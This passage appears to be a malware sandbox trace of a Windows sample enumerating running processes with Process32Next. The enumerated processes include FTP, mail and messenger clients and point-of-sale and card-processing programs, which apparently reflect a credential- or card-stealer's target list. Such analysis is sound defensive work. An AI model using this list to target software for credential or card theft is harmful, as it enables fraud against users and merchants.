hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0142.343] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0142.344] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.346] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.347] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.349] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0142.350] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0142.351] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.353] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.354] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.356] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.357] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0142.365] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="these.exe")) returned 1 [0142.368] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="note.exe")) returned 1 [0142.370] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="government_memory_natural.exe")) returned 1 [0142.372] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="legal.exe")) returned 1 [0142.374] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="imagine.exe")) returned 1 [0142.375] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="factor affect space.exe")) returned 1 [0142.376] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pictureto.exe")) returned 1 [0142.378] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="amount_everybody_go.exe")) returned 1 [0142.379] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="easy patient arm.exe")) returned 1 [0142.380] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="part measure.exe")) returned 1 [0142.382] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="well-south.exe")) returned 1 [0142.384] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="why-road.exe")) returned 1 [0142.385] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="participant current.exe")) returned 1 [0142.386] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="plant_country.exe")) returned 1 [0142.387] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup recently but.exe")) returned 1 [0142.389] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="case.exe")) returned 1 [0142.390] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0142.392] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyreflect.exe")) returned 1 [0142.394] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0142.395] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0142.398] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0142.400] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0142.409] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0142.411] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x106c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0142.413] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0142.417] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x107c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0142.419] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0142.421] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0142.422] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1094, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0142.424] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0142.427] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0142.430] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0142.434] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0142.435] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0142.445] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0142.447] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0142.449] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0142.450] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0142.452] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0142.454] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0142.455] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0142.465] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0142.467] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0142.468] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0142.470] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0142.471] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0142.473] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0142.474] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0142.477] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0142.479] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0142.480] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0142.482] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0142.483] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually-so.exe")) returned 1 [0142.485] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0142.487] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinephoneterm.exe")) returned 1 [0142.489] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0142.491] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0142.492] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0142.494] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0142.495] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0142.497] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0142.498] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0142.500] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0142.508] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cardmovementsister.exe")) returned 1 [0142.510] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolelittle.exe")) returned 1 [0142.512] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="various-whose.exe")) returned 1 [0142.513] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0142.515] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x134c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.516] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.518] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0142.520] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.521] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x37c, pcPriClassBase=8, dwFlags=0x0, 